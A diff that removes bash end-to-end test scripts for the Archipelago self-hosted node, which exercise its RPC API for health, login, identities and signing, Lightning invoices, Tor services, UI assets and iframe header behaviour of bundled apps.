LIST_COUNT=$(echo "$LIST_RESULT" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); ids=r.get('identities',[]); print(len(ids))" 2>/dev/null)
|
||||
if [[ "$LIST_COUNT" -gt 0 ]]; then
|
||||
green "Identity list has $LIST_COUNT identit(ies)"
|
||||
else
|
||||
red "No identities found"
|
||||
fi
|
||||
|
||||
header "5. Tor Address"
|
||||
TOR_RESULT=$(rpc "node.tor-address")
|
||||
TOR_ADDR=$(echo "$TOR_RESULT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('result',{}).get('tor_address',''))" 2>/dev/null)
|
||||
if [[ "$TOR_ADDR" == *.onion ]]; then
|
||||
green "Tor address valid: ${TOR_ADDR:0:24}..."
|
||||
else
|
||||
red "No Tor address found"
|
||||
fi
|
||||
|
||||
header "6. Webhook Config"
|
||||
WH_RESULT=$(rpc "webhook.get-config")
|
||||
WH_ERROR=$(echo "$WH_RESULT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}) or 'none')" 2>/dev/null)
|
||||
if [[ "$WH_ERROR" != "none" ]] && [[ "$WH_ERROR" != "None" ]]; then
|
||||
# webhook.get-config may not exist, which is fine (disabled by default)
|
||||
green "Webhooks not configured (default/disabled)"
|
||||
else
|
||||
WH_ENABLED=$(echo "$WH_RESULT" | python3 -c "import sys,json; r=json.load(sys.stdin).get('result',{}); print(r.get('enabled', False))" 2>/dev/null)
|
||||
if [[ "$WH_ENABLED" == "False" ]]; then
|
||||
green "Webhooks disabled by default"
|
||||
else
|
||||
green "Webhook config accessible (enabled=$WH_ENABLED)"
|
||||
fi
|
||||
fi
|
||||
|
||||
header "7. Health Monitor"
|
||||
STATS_RESULT=$(rpc "system.stats")
|
||||
CONTAINER_COUNT=$(echo "$STATS_RESULT" | python3 -c "
|
||||
import sys,json
|
||||
r=json.load(sys.stdin).get('result',{})
|
||||
print(r.get('container_count', r.get('running_containers', -1)))
|
||||
" 2>/dev/null)
|
||||
if [[ "$CONTAINER_COUNT" -gt 0 ]]; then
|
||||
green "Health monitor reports $CONTAINER_COUNT containers"
|
||||
else
|
||||
# Try alternate endpoint
|
||||
HEALTH=$(ssh -i "$SSH_KEY" -o StrictHostKeyChecking=no "archipelago@${HOST}" \
|
||||
"curl -s http://localhost/health" 2>/dev/null)
|
||||
if [[ "$HEALTH" == "OK" ]]; then
|
||||
green "Health endpoint returns OK"
|
||||
else
|
||||
red "Health monitor check failed (containers=$CONTAINER_COUNT)"
|
||||
fi
|
||||
fi
|
||||
|
||||
header "8. DWN Status"
|
||||
DWN_RESULT=$(rpc "dwn.status")
|
||||
DWN_RUNNING=$(echo "$DWN_RESULT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('result',{}).get('running', False))" 2>/dev/null)
|
||||
DWN_MSG=$(echo "$DWN_RESULT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('result',{}).get('message_count', -1))" 2>/dev/null)
|
||||
if [[ "$DWN_RUNNING" == "True" ]]; then
|
||||
green "DWN operational (messages: $DWN_MSG)"
|
||||
else
|
||||
red "DWN not running"
|
||||
fi
|
||||
|
||||
# Summary
|
||||
echo ""
|
||||
echo "==============================="
|
||||
printf "Results: \033[32m%d passed\033[0m, \033[31m%d failed\033[0m\n" "$PASS_COUNT" "$FAIL_COUNT"
|
||||
echo "==============================="
|
||||
[[ "$FAIL_COUNT" -eq 0 ]] && exit 0 || exit 1
|
||||
@@ -1,354 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# FINAL-201: Fresh Install End-to-End Test
|
||||
# Run on a freshly installed Archipelago node to verify the complete user journey.
|
||||
# Usage: scp this script to the node, then: bash test-fresh-install-e2e.sh <node-ip>
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
NODE="${1:-localhost}"
|
||||
BASE="http://${NODE}"
|
||||
PASS="${2:-password123}"
|
||||
COOKIE_JAR="/tmp/e2e-cookies.txt"
|
||||
PASS_COUNT=0
|
||||
FAIL_COUNT=0
|
||||
SKIP_COUNT=0
|
||||
|
||||
green() { printf "\033[32m✓ %s\033[0m\n" "$1"; }
|
||||
red() { printf "\033[31m✗ %s\033[0m\n" "$1"; }
|
||||
yellow(){ printf "\033[33m⊘ %s\033[0m\n" "$1"; }
|
||||
header(){ printf "\n\033[1;36m━━━ %s ━━━\033[0m\n" "$1"; }
|
||||
|
||||
pass() { PASS_COUNT=$((PASS_COUNT + 1)); green "$1"; }
|
||||
fail() { FAIL_COUNT=$((FAIL_COUNT + 1)); red "$1"; }
|
||||
skip() { SKIP_COUNT=$((SKIP_COUNT + 1)); yellow "$1 (skipped)"; }
|
||||
|
||||
rpc() {
|
||||
local method="$1"
|
||||
local params="${2:-{}}"
|
||||
curl -s -b "$COOKIE_JAR" -c "$COOKIE_JAR" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"$method\",\"params\":$params}" \
|
||||
"${BASE}/rpc/" 2>/dev/null
|
||||
}
|
||||
|
||||
# ─── Phase 1: Boot & Accessibility ───────────────────────────────
|
||||
header "Phase 1: Boot & Accessibility"
|
||||
|
||||
if curl -s -o /dev/null -w "%{http_code}" "${BASE}/health" | grep -q "200"; then
|
||||
pass "Backend health endpoint responds 200"
|
||||
else
|
||||
fail "Backend health endpoint not responding"
|
||||
fi
|
||||
|
||||
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "${BASE}/")
|
||||
if [ "$HTTP_CODE" = "200" ] || [ "$HTTP_CODE" = "302" ]; then
|
||||
pass "Web UI loads (HTTP $HTTP_CODE)"
|
||||
else
|
||||
fail "Web UI not loading (HTTP $HTTP_CODE)"
|
||||
fi
|
||||
|
||||
if curl -s "${BASE}/" | grep -q "Archipelago"; then
|
||||
pass "Web UI contains Archipelago branding"
|
||||
else
|
||||
fail "Web UI missing Archipelago branding"
|
||||
fi
|
||||
|
||||
# ─── Phase 2: Onboarding ─────────────────────────────────────────
|
||||
header "Phase 2: Onboarding & Authentication"
|
||||
|
||||
# Check if onboarding is needed or already done
|
||||
LOGIN_RESP=$(curl -s -c "$COOKIE_JAR" -H "Content-Type: application/json" \
|
||||
-d "{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"auth.login\",\"params\":{\"password\":\"$PASS\"}}" \
|
||||
"${BASE}/rpc/" 2>/dev/null)
|
||||
|
||||
if echo "$LOGIN_RESP" | grep -q '"result"'; then
|
||||
pass "Authentication successful"
|
||||
else
|
||||
fail "Authentication failed: $LOGIN_RESP"
|
||||
fi
|
||||
|
||||
# Verify session works
|
||||
SESSION_CHECK=$(rpc "system.info")
|
||||
if echo "$SESSION_CHECK" | grep -q '"result"'; then
|
||||
pass "Session is valid after login"
|
||||
else
|
||||
fail "Session invalid after login"
|
||||
fi
|
||||
|
||||
# ─── Phase 3: Identity (DID) ─────────────────────────────────────
|
||||
header "Phase 3: Identity System"
|
||||
|
||||
ID_LIST=$(rpc "identity.list")
|
||||
if echo "$ID_LIST" | grep -q '"result"'; then
|
||||
pass "identity.list RPC responds"
|
||||
ID_COUNT=$(echo "$ID_LIST" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('identities',[])))" 2>/dev/null || echo "0")
|
||||
if [ "$ID_COUNT" -gt "0" ]; then
|
||||
pass "At least one identity exists ($ID_COUNT found)"
|
||||
else
|
||||
# Create one
|
||||
CREATE_ID=$(rpc "identity.create" '{"name":"Test Identity","purpose":"personal"}')
|
||||
if echo "$CREATE_ID" | grep -q '"result"'; then
|
||||
pass "Created test identity"
|
||||
else
|
||||
fail "Failed to create identity"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
fail "identity.list RPC failed"
|
||||
fi
|
||||
|
||||
# Test signing
|
||||
SIGN_RESP=$(rpc "identity.sign" '{"message":"test message"}')
|
||||
if echo "$SIGN_RESP" | grep -q '"result"'; then
|
||||
pass "Identity signing works"
|
||||
else
|
||||
skip "Identity signing"
|
||||
fi
|
||||
|
||||
# Test Nostr key
|
||||
NOSTR_RESP=$(rpc "identity.create-nostr-key" '{}')
|
||||
if echo "$NOSTR_RESP" | grep -q '"result"' || echo "$NOSTR_RESP" | grep -q "already"; then
|
||||
pass "Nostr key generation works"
|
||||
else
|
||||
skip "Nostr key generation"
|
||||
fi
|
||||
|
||||
# ─── Phase 4: App Installation ───────────────────────────────────
|
||||
header "Phase 4: Core App Installation"
|
||||
|
||||
check_app_status() {
|
||||
local app_id="$1"
|
||||
local resp
|
||||
resp=$(rpc "package.status" "{\"id\":\"$app_id\"}")
|
||||
echo "$resp" | python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('result',{}).get('status','unknown'))" 2>/dev/null || echo "unknown"
|
||||
}
|
||||
|
||||
install_app() {
|
||||
local app_id="$1"
|
||||
local timeout="${2:-120}"
|
||||
local status
|
||||
status=$(check_app_status "$app_id")
|
||||
|
||||
if [ "$status" = "running" ]; then
|
||||
pass "$app_id already running"
|
||||
return 0
|
||||
fi
|
||||
|
||||
rpc "package.install" "{\"id\":\"$app_id\"}" > /dev/null 2>&1
|
||||
|
||||
local elapsed=0
|
||||
while [ $elapsed -lt $timeout ]; do
|
||||
sleep 5
|
||||
elapsed=$((elapsed + 5))
|
||||
status=$(check_app_status "$app_id")
|
||||
if [ "$status" = "running" ]; then
|
||||
pass "$app_id installed and running (${elapsed}s)"
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
|
||||
fail "$app_id failed to start within ${timeout}s (status: $status)"
|
||||
return 1
|
||||
}
|
||||
|
||||
# Install Bitcoin Knots (foundation)
|
||||
install_app "bitcoin-knots" 180
|
||||
|
||||
# Install LND (requires Bitcoin)
|
||||
install_app "lnd" 120
|
||||
|
||||
# Install Electrs (requires Bitcoin)
|
||||
install_app "electrs" 120
|
||||
|
||||
# ─── Phase 5: Lightning Channels ─────────────────────────────────
|
||||
header "Phase 5: Lightning (LND)"
|
||||
|
||||
LND_INFO=$(rpc "lnd.getinfo")
|
||||
if echo "$LND_INFO" | grep -q '"result"'; then
|
||||
pass "LND getinfo responds"
|
||||
SYNCED=$(echo "$LND_INFO" | python3 -c "import sys,json; r=json.load(sys.stdin); print(r.get('result',{}).get('synced_to_chain',False))" 2>/dev/null)
|
||||
if [ "$SYNCED" = "True" ]; then
|
||||
pass "LND synced to chain"
|
||||
else
|
||||
skip "LND chain sync (may take time)"
|
||||
fi
|
||||
else
|
||||
fail "LND getinfo failed"
|
||||
fi
|
||||
|
||||
# Test wallet address generation
|
||||
ADDR_RESP=$(rpc "lnd.newaddress")
|
||||
if echo "$ADDR_RESP" | grep -q '"result"'; then
|
||||
pass "LND new address generation works"
|
||||
else
|
||||
fail "LND new address generation failed"
|
||||
fi
|
||||
|
||||
# Test invoice creation
|
||||
INV_RESP=$(rpc "lnd.createinvoice" '{"value":1000,"memo":"E2E test invoice"}')
|
||||
if echo "$INV_RESP" | grep -q '"result"'; then
|
||||
pass "LND invoice creation works"
|
||||
else
|
||||
fail "LND invoice creation failed"
|
||||
fi
|
||||
|
||||
# ─── Phase 6: Content Sharing ────────────────────────────────────
|
||||
header "Phase 6: Content & Sharing"
|
||||
|
||||
CONTENT_LIST=$(rpc "content.list-mine")
|
||||
if echo "$CONTENT_LIST" | grep -q '"result"'; then
|
||||
pass "content.list-mine RPC responds"
|
||||
else
|
||||
skip "Content listing"
|
||||
fi
|
||||
|
||||
# ─── Phase 7: Networking & Peers ─────────────────────────────────
|
||||
header "Phase 7: Networking"
|
||||
|
||||
VIS_RESP=$(rpc "network.get-visibility")
|
||||
if echo "$VIS_RESP" | grep -q '"result"'; then
|
||||
pass "network.get-visibility RPC responds"
|
||||
else
|
||||
skip "Network visibility"
|
||||
fi
|
||||
|
||||
DIAG_RESP=$(rpc "network.diagnostics")
|
||||
if echo "$DIAG_RESP" | grep -q '"result"'; then
|
||||
pass "network.diagnostics RPC responds"
|
||||
else
|
||||
skip "Network diagnostics"
|
||||
fi
|
||||
|
||||
# ─── Phase 8: Tor Services ───────────────────────────────────────
|
||||
header "Phase 8: Tor Services"
|
||||
|
||||
TOR_RESP=$(rpc "tor.list-services")
|
||||
if echo "$TOR_RESP" | grep -q '"result"'; then
|
||||
pass "tor.list-services RPC responds"
|
||||
SVC_COUNT=$(echo "$TOR_RESP" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('services',[])))" 2>/dev/null || echo "0")
|
||||
if [ "$SVC_COUNT" -gt "0" ]; then
|
||||
pass "Tor hidden services configured ($SVC_COUNT)"
|
||||
else
|
||||
skip "No Tor services configured yet"
|
||||
fi
|
||||
else
|
||||
skip "Tor services"
|
||||
fi
|
||||
|
||||
# ─── Phase 9: Easy Mode Goals ────────────────────────────────────
|
||||
header "Phase 9: Easy Mode & Goals"
|
||||
|
||||
# Check goal pages load
|
||||
for goal in open-a-shop accept-payments store-photos store-files run-lightning-node create-identity back-up-everything; do
|
||||
GOAL_CODE=$(curl -s -o /dev/null -w "%{http_code}" -b "$COOKIE_JAR" "${BASE}/dashboard/goals/${goal}")
|
||||
if [ "$GOAL_CODE" = "200" ]; then
|
||||
pass "Goal page loads: $goal"
|
||||
else
|
||||
skip "Goal page: $goal (HTTP $GOAL_CODE)"
|
||||
fi
|
||||
done
|
||||
|
||||
# ─── Phase 10: AIUI Chat ─────────────────────────────────────────
|
||||
header "Phase 10: AIUI Chat"
|
||||
|
||||
AIUI_CODE=$(curl -s -o /dev/null -w "%{http_code}" "${BASE}/aiui/")
|
||||
if [ "$AIUI_CODE" = "200" ]; then
|
||||
pass "AIUI loads"
|
||||
else
|
||||
skip "AIUI (HTTP $AIUI_CODE)"
|
||||
fi
|
||||
|
||||
# ─── Phase 11: Multiple Identities ───────────────────────────────
|
||||
header "Phase 11: Multi-Identity"
|
||||
|
||||
CREATE_BIZ=$(rpc "identity.create" '{"name":"Business","purpose":"business"}')
|
||||
if echo "$CREATE_BIZ" | grep -q '"result"'; then
|
||||
pass "Created business identity"
|
||||
|
||||
# Verify multiple identities exist
|
||||
ID_LIST2=$(rpc "identity.list")
|
||||
ID_COUNT2=$(echo "$ID_LIST2" | python3 -c "import sys,json; r=json.load(sys.stdin); print(len(r.get('result',{}).get('identities',[])))" 2>/dev/null || echo "0")
|
||||
if [ "$ID_COUNT2" -ge "2" ]; then
|
||||
pass "Multiple identities exist ($ID_COUNT2)"
|
||||
else
|
||||
fail "Expected 2+ identities, got $ID_COUNT2"
|
||||
fi
|
||||
else
|
||||
skip "Business identity creation"
|
||||
fi
|
||||
|
||||
# ─── Phase 12: Update System ─────────────────────────────────────
|
||||
header "Phase 12: Update System"
|
||||
|
||||
UPDATE_STATUS=$(rpc "update.status")
|
||||
if echo "$UPDATE_STATUS" | grep -q '"result"'; then
|
||||
pass "update.status RPC responds"
|
||||
else
|
||||
skip "Update status"
|
||||
fi
|
||||
|
||||
UPDATE_CHECK=$(rpc "update.check")
|
||||
if echo "$UPDATE_CHECK" | grep -q '"result"' || echo "$UPDATE_CHECK" | grep -q "error"; then
|
||||
pass "update.check RPC responds"
|
||||
else
|
||||
skip "Update check"
|
||||
fi
|
||||
|
||||
# ─── Phase 13: WebSocket ─────────────────────────────────────────
|
||||
header "Phase 13: WebSocket"
|
||||
|
||||
WS_CHECK=$(curl -s -o /dev/null -w "%{http_code}" -H "Upgrade: websocket" -H "Connection: Upgrade" "${BASE}/ws/")
|
||||
if [ "$WS_CHECK" = "101" ] || [ "$WS_CHECK" = "400" ] || [ "$WS_CHECK" = "200" ]; then
|
||||
pass "WebSocket endpoint responds (HTTP $WS_CHECK)"
|
||||
else
|
||||
skip "WebSocket (HTTP $WS_CHECK)"
|
||||
fi
|
||||
|
||||
# ─── Phase 14: UI Asset Verification ─────────────────────────────
|
||||
header "Phase 14: UI Assets"
|
||||
|
||||
# Check main app JS loads
|
||||
ASSETS_CHECK=$(curl -s "${BASE}/" | grep -o 'src="[^"]*\.js"' | head -3)
|
||||
if [ -n "$ASSETS_CHECK" ]; then
|
||||
pass "JavaScript assets referenced in HTML"
|
||||
else
|
||||
# Vite uses different format
|
||||
ASSETS_CHECK=$(curl -s "${BASE}/" | grep -o 'assets/[^"]*\.js' | head -3)
|
||||
if [ -n "$ASSETS_CHECK" ]; then
|
||||
pass "Vite assets referenced in HTML"
|
||||
else
|
||||
skip "Asset check"
|
||||
fi
|
||||
fi
|
||||
|
||||
# Check app icons exist
|
||||
for icon in bitcoin-knots lnd electrs; do
|
||||
ICON_CODE=$(curl -s -o /dev/null -w "%{http_code}" "${BASE}/assets/img/app-icons/${icon}.png")
|
||||
if [ "$ICON_CODE" = "200" ]; then
|
||||
pass "App icon loads: $icon"
|
||||
else
|
||||
ICON_CODE2=$(curl -s -o /dev/null -w "%{http_code}" "${BASE}/assets/img/app-icons/${icon}.webp")
|
||||
if [ "$ICON_CODE2" = "200" ]; then
|
||||
pass "App icon loads: $icon (.webp)"
|
||||
else
|
||||
skip "App icon: $icon"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
# ─── Summary ─────────────────────────────────────────────────────
|
||||
header "RESULTS"
|
||||
echo ""
|
||||
printf "\033[32m Passed: %d\033[0m\n" "$PASS_COUNT"
|
||||
printf "\033[31m Failed: %d\033[0m\n" "$FAIL_COUNT"
|
||||
printf "\033[33m Skipped: %d\033[0m\n" "$SKIP_COUNT"
|
||||
echo ""
|
||||
|
||||
TOTAL=$((PASS_COUNT + FAIL_COUNT + SKIP_COUNT))
|
||||
if [ "$FAIL_COUNT" -eq 0 ]; then
|
||||
printf "\033[1;32m🎉 ALL %d TESTS PASSED (%d skipped)\033[0m\n" "$PASS_COUNT" "$SKIP_COUNT"
|
||||
exit 0
|
||||
else
|
||||
printf "\033[1;31m⚠ %d/%d TESTS FAILED\033[0m\n" "$FAIL_COUNT" "$TOTAL"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,198 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# TEST-207: Multi-identity lifecycle test.
|
||||
# Tests identity creation, signing, verification, deletion, and Nostr key generation.
|
||||
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
TARGET="archipelago@192.168.1.228"
|
||||
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no $TARGET"
|
||||
PASSWORD="password123"
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
SKIP=0
|
||||
RESULTS=()
|
||||
CREATED_IDS=()
|
||||
|
||||
log() { echo -e "\033[1;34m[TEST]\033[0m $*"; }
|
||||
pass() { echo -e "\033[1;32m[PASS]\033[0m $*"; PASS=$((PASS + 1)); RESULTS+=("PASS: $*"); }
|
||||
fail() { echo -e "\033[1;31m[FAIL]\033[0m $*"; FAIL=$((FAIL + 1)); RESULTS+=("FAIL: $*"); }
|
||||
skip() { echo -e "\033[1;33m[SKIP]\033[0m $*"; SKIP=$((SKIP + 1)); RESULTS+=("SKIP: $*"); }
|
||||
|
||||
get_session() {
|
||||
$SSH_CMD "curl -s -c - http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-d '{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}' 2>/dev/null \
|
||||
| grep session | awk '{print \$NF}'"
|
||||
}
|
||||
|
||||
rpc_call() {
|
||||
local session="$1" method="$2" params="${3:-{}}"
|
||||
$SSH_CMD "curl -s http://localhost:5678/rpc/v1 \
|
||||
-X POST -H 'Content-Type: application/json' \
|
||||
-H 'Cookie: session=$session' \
|
||||
-d '{\"method\":\"$method\",\"params\":$params}' 2>/dev/null"
|
||||
}
|
||||
|
||||
main() {
|
||||
log "=== Identity Lifecycle Test ==="
|
||||
echo ""
|
||||
|
||||
log "Authenticating..."
|
||||
local session
|
||||
session=$(get_session)
|
||||
if [ -z "$session" ]; then
|
||||
echo "Failed to authenticate. Exiting."
|
||||
exit 1
|
||||
fi
|
||||
echo ""
|
||||
|
||||
# 1. List existing identities
|
||||
log "1. Listing existing identities..."
|
||||
local list_result
|
||||
list_result=$(rpc_call "$session" "identity.list")
|
||||
if echo "$list_result" | grep -q '"identities"'; then
|
||||
local count
|
||||
count=$(echo "$list_result" | grep -o '"id":"' | wc -l)
|
||||
pass "identity.list — found $count identities"
|
||||
else
|
||||
fail "identity.list failed"
|
||||
fi
|
||||
|
||||
# 2. Create a test identity
|
||||
log "2. Creating test identity..."
|
||||
local create_result
|
||||
create_result=$(rpc_call "$session" "identity.create" '{"name":"Test Bot","purpose":"anonymous"}')
|
||||
local test_id
|
||||
test_id=$(echo "$create_result" | grep -o '"id":"[^"]*"' | head -1 | sed 's/"id":"//;s/"//')
|
||||
if [ -n "$test_id" ]; then
|
||||
pass "identity.create — created $test_id"
|
||||
CREATED_IDS+=("$test_id")
|
||||
else
|
||||
fail "identity.create failed"
|
||||
return
|
||||
fi
|
||||
|
||||
# 3. Get the identity back
|
||||
log "3. Getting identity by ID..."
|
||||
local get_result
|
||||
get_result=$(rpc_call "$session" "identity.get" "{\"id\":\"$test_id\"}")
|
||||
if echo "$get_result" | grep -q '"did"'; then
|
||||
pass "identity.get — retrieved identity"
|
||||
else
|
||||
fail "identity.get failed"
|
||||
fi
|
||||
|
||||
# 4. Sign a message
|
||||
log "4. Signing a message..."
|
||||
local sign_result
|
||||
sign_result=$(rpc_call "$session" "identity.sign" "{\"id\":\"$test_id\",\"message\":\"test-message-123\"}")
|
||||
local signature
|
||||
signature=$(echo "$sign_result" | grep -o '"signature":"[^"]*"' | head -1 | sed 's/"signature":"//;s/"//')
|
||||
if [ -n "$signature" ]; then
|
||||
pass "identity.sign — signature: ${signature:0:16}..."
|
||||
else
|
||||
fail "identity.sign failed"
|
||||
fi
|
||||
|
||||
# 5. Verify the signature
|
||||
log "5. Verifying signature..."
|
||||
local did
|
||||
did=$(echo "$get_result" | grep -o '"did":"[^"]*"' | head -1 | sed 's/"did":"//;s/"//')
|
||||
local pubkey
|
||||
pubkey=$(echo "$get_result" | grep -o '"pubkey":"[^"]*"' | head -1 | sed 's/"pubkey":"//;s/"//')
|
||||
|
||||
if [ -n "$signature" ] && [ -n "$pubkey" ]; then
|
||||
local verify_result
|
||||
verify_result=$(rpc_call "$session" "identity.verify" "{\"pubkey\":\"$pubkey\",\"message\":\"test-message-123\",\"signature\":\"$signature\"}")
|
||||
if echo "$verify_result" | grep -q '"valid":true'; then
|
||||
pass "identity.verify — signature valid"
|
||||
else
|
||||
fail "identity.verify — signature invalid or verification failed"
|
||||
fi
|
||||
else
|
||||
skip "identity.verify — missing pubkey or signature"
|
||||
fi
|
||||
|
||||
# 6. Create Nostr key
|
||||
log "6. Creating Nostr keypair..."
|
||||
local nostr_result
|
||||
nostr_result=$(rpc_call "$session" "identity.create-nostr-key" "{\"id\":\"$test_id\"}")
|
||||
if echo "$nostr_result" | grep -q '"nostr_pubkey"'; then
|
||||
pass "identity.create-nostr-key — Nostr key generated"
|
||||
else
|
||||
local msg
|
||||
msg=$(echo "$nostr_result" | grep -o '"message":"[^"]*"' | head -1)
|
||||
if echo "$msg" | grep -qi "already"; then
|
||||
pass "identity.create-nostr-key — key already exists"
|
||||
else
|
||||
fail "identity.create-nostr-key failed: $msg"
|
||||
fi
|
||||
fi
|
||||
|
||||
# 7. Create second identity for multi-identity testing
|
||||
log "7. Creating second identity..."
|
||||
local create2_result
|
||||
create2_result=$(rpc_call "$session" "identity.create" '{"name":"Work Identity","purpose":"business"}')
|
||||
local test_id2
|
||||
test_id2=$(echo "$create2_result" | grep -o '"id":"[^"]*"' | head -1 | sed 's/"id":"//;s/"//')
|
||||
if [ -n "$test_id2" ]; then
|
||||
pass "Created second identity: $test_id2"
|
||||
CREATED_IDS+=("$test_id2")
|
||||
else
|
||||
fail "Failed to create second identity"
|
||||
fi
|
||||
|
||||
# 8. Set default identity
|
||||
if [ -n "$test_id2" ]; then
|
||||
log "8. Setting default identity..."
|
||||
local default_result
|
||||
default_result=$(rpc_call "$session" "identity.set-default" "{\"id\":\"$test_id2\"}")
|
||||
if echo "$default_result" | grep -q '"error"'; then
|
||||
fail "identity.set-default failed"
|
||||
else
|
||||
pass "identity.set-default — switched default"
|
||||
fi
|
||||
fi
|
||||
|
||||
# 9. Delete test identities (clean up)
|
||||
log "9. Deleting test identities..."
|
||||
for cid in "${CREATED_IDS[@]}"; do
|
||||
local del_result
|
||||
del_result=$(rpc_call "$session" "identity.delete" "{\"id\":\"$cid\"}")
|
||||
if echo "$del_result" | grep -q '"error"'; then
|
||||
fail "identity.delete failed for $cid"
|
||||
else
|
||||
pass "identity.delete — removed $cid"
|
||||
fi
|
||||
done
|
||||
|
||||
# 10. Verify deletion
|
||||
log "10. Verifying identities removed..."
|
||||
local final_list
|
||||
final_list=$(rpc_call "$session" "identity.list")
|
||||
local still_exists=false
|
||||
for cid in "${CREATED_IDS[@]}"; do
|
||||
if echo "$final_list" | grep -q "$cid"; then
|
||||
still_exists=true
|
||||
fi
|
||||
done
|
||||
if [ "$still_exists" = true ]; then
|
||||
fail "Test identities still exist after deletion"
|
||||
else
|
||||
pass "All test identities successfully removed"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
log "=== RESULTS ==="
|
||||
for r in "${RESULTS[@]}"; do
|
||||
echo " $r"
|
||||
done
|
||||
echo ""
|
||||
log "Pass: $PASS | Fail: $FAIL | Skip: $SKIP"
|
||||
|
||||
[ $FAIL -gt 0 ] && exit 1
|
||||
exit 0
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,119 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# TEST-203: iframe/new-tab verification for all apps.
|
||||
# Checks X-Frame-Options headers and verifies mustOpenInNewTab() mapping.
|
||||
|
||||
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
||||
TARGET="archipelago@192.168.1.228"
|
||||
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no $TARGET"
|
||||
|
||||
# Apps that MUST open in new tab (X-Frame-Options: DENY or SAMEORIGIN)
|
||||
MUST_NEW_TAB="btcpay-server homeassistant nextcloud immich"
|
||||
|
||||
# All apps and their ports for checking
|
||||
declare -A APP_PORTS=(
|
||||
[bitcoin-knots]="8332"
|
||||
[electrs]="50001"
|
||||
[btcpay-server]="23000"
|
||||
[lnd]="8080"
|
||||
[mempool]="18080"
|
||||
[homeassistant]="8123"
|
||||
[grafana]="3033"
|
||||
[searxng]="18888"
|
||||
[ollama]="11434"
|
||||
[onlyoffice]="8044"
|
||||
[penpot]="9001"
|
||||
[nextcloud]="8085"
|
||||
[vaultwarden]="8099"
|
||||
[jellyfin]="8096"
|
||||
[photoprism]="2342"
|
||||
[immich]="2283"
|
||||
[filebrowser]="18082"
|
||||
[nginx-proxy-manager]="8181"
|
||||
[portainer]="9443"
|
||||
[uptime-kuma]="3001"
|
||||
[fedimint]="8174"
|
||||
)
|
||||
|
||||
PASS=0
|
||||
FAIL=0
|
||||
SKIP=0
|
||||
RESULTS=()
|
||||
|
||||
log() { echo -e "\033[1;34m[TEST]\033[0m $*"; }
|
||||
pass() { echo -e "\033[1;32m[PASS]\033[0m $*"; PASS=$((PASS + 1)); RESULTS+=("PASS: $*"); }
|
||||
fail() { echo -e "\033[1;31m[FAIL]\033[0m $*"; FAIL=$((FAIL + 1)); RESULTS+=("FAIL: $*"); }
|
||||
skip() { echo -e "\033[1;33m[SKIP]\033[0m $*"; SKIP=$((SKIP + 1)); RESULTS+=("SKIP: $*"); }
|
||||
|
||||
check_app() {
|
||||
local app_id="$1"
|
||||
local port="${APP_PORTS[$app_id]}"
|
||||
local should_newtab=false
|
||||
|
||||
for nt in $MUST_NEW_TAB; do
|
||||
if [ "$nt" = "$app_id" ]; then
|
||||
should_newtab=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Check if port responds
|
||||
local headers
|
||||
headers=$($SSH_CMD "curl -sI --connect-timeout 5 http://localhost:$port/ 2>/dev/null" || echo "")
|
||||
|
||||
if [ -z "$headers" ]; then
|
||||
skip "$app_id (port $port) — not responding (app may not be running)"
|
||||
return
|
||||
fi
|
||||
|
||||
# Check X-Frame-Options header
|
||||
local xfo
|
||||
xfo=$(echo "$headers" | grep -i "x-frame-options" | head -1 | tr -d '\r' || echo "")
|
||||
local csp_frame
|
||||
csp_frame=$(echo "$headers" | grep -i "content-security-policy" | grep -i "frame-ancestors" | head -1 | tr -d '\r' || echo "")
|
||||
|
||||
local blocks_iframe=false
|
||||
if echo "$xfo" | grep -qi "deny\|sameorigin"; then
|
||||
blocks_iframe=true
|
||||
fi
|
||||
if echo "$csp_frame" | grep -qi "frame-ancestors.*none\|frame-ancestors.*self"; then
|
||||
blocks_iframe=true
|
||||
fi
|
||||
|
||||
if [ "$blocks_iframe" = true ]; then
|
||||
if [ "$should_newtab" = true ]; then
|
||||
pass "$app_id — correctly marked as new-tab (blocks iframe: $xfo)"
|
||||
else
|
||||
fail "$app_id — blocks iframe ($xfo) but NOT in mustOpenInNewTab()"
|
||||
fi
|
||||
else
|
||||
if [ "$should_newtab" = true ]; then
|
||||
log " INFO: $app_id is in mustOpenInNewTab() but doesn't block iframes (safe to keep)"
|
||||
pass "$app_id — marked as new-tab (conservative, OK)"
|
||||
else
|
||||
pass "$app_id — loads in iframe OK (no frame restrictions)"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
log "=== iframe/new-tab Verification Test ==="
|
||||
echo ""
|
||||
|
||||
for app_id in $(echo "${!APP_PORTS[@]}" | tr ' ' '\n' | sort); do
|
||||
check_app "$app_id"
|
||||
done
|
||||
|
